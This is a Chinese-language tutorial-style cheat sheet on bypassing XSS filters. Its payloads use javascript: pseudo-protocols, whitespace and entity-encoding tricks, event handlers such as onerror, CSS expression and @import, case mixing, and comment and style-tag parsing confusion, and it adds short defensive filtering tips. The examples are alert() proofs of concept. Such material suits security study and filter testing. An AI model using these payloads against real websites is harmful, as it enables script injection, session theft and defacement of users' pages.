绕过XSS-Filter
(1)利用<>标记
XSS-Filter通常过滤转义“<>”“<script>”等字符
(2)利用HTML标签属性值
很多HTML标记的属性支持javascript:[code]伪协议形式
例:<table background=“javascript:alert(/xss/)"></table>
<img src=“javascript:alert('xss');”>
但不是所有Web浏览器都支持JavaScript伪协议,不是所有标记属性都能产生XSS,通常只有引用文件的属性才能,常见属性:
href=
lowsrc=
bgsound=
background=
value=
action=
dynsrc=
(3)空格回车Tab
XSS Filter把敏感的输入字符列入黑名单处理,可以利用空格、回车和Tab键绕过 例:
<img src="javas
script:
alert(/xss/)">
(4)对标签属性值转码
对普通HTML标记的属性值过滤,还可以通过编码处理来绕过。
Tab符的ASCII码	、换行符
、回车符
可以插入任意地方
为了防范标签纸属性编码的XSS,最好也过滤&#/等字符
(5)产生自己的事件
不能依靠属性值跨站,通过事件,如click、mouseover、load等,响应事件的函数叫事件处理函数例:
<img src="#" onerror=alert(/xss/)>
onerror是IMG标记的一个事件,页面发生错误,该事件被激活。上例,解释IMG标记时,加载src属性引用的图片地址,若图片不存在就触发onerror事件。其他事件:
onResume
onReverse
onRowDelete
onRowInseted
onSeek
onSynchRestored
onTimeError
onTrackChange
onURLFlip
onRepeat
onMediaComplete
onMediaError
onPause
onProgress
onOuOfSync
oncontrolselect
onlayoutcomplete
onafterprint
onbeforeprint
ondataavailable
ondatasetchanged
ondatasetcomplete
onerorupdate
onrowenter
onrowexit
onrowdelete
onrowinserted
onselectionchange
onbounce
onfinish
onstop
onesizeend
(6)利用CSS跨站
CSS中使用expression同样可以触发XSS。例:
<div style="width: expression(alert('xss'));">
脚本代码通常被嵌入到style标签/属性中。style属性可以和任意字符的标签结合,所以不只要过滤标签,还必须对style属性值进行过滤。
例:
<div style="list-style-image:url(javascript:alert(‘xss’))">
<img style="background-image:url(javascript:alert('xss'))"> 等同于
<img src=" javascript:alert('xss')">
此外,可以使用<link>标签引用CSS。
除<link>标签外,网页中引用外部CSS还可以利用@import导入,例:
<style type='test/css'/>import url(http://.../xss.css);</style>
http://.../xss.css中内容是:
.showCSS{
event:expression(
onload = function()
{
alert('xss');
}
)
@import还可以直接执行JS代码
<style>
@import 'javascript:alert("xss")';
</style>
因此,包含expression、javascript、import等敏感字符的样式表也要进行过滤。
(7)扰乱过滤规则
转换大小写、大小写混淆、不用双引号用单引号、不使用引号。
IMG标记和src属性之间没有空格<img/src="javascript:alert('xss');">
利用expression跨站时,可以构造不同的全角字符。
运用/**/来注释字符,样式标签中的\和结束符\0。
将CSS关键字转码,e转\65,改变编码中0的数量\065、\0065
利用浏览器解析HTML注释存在的问题来执行JS,例:
<!--<img src="--><img src=x onerror=alert(1)//">
纯文本标签造成的混乱标记,例:
<style><img src="</style><img src=x onerror=alert(1)//">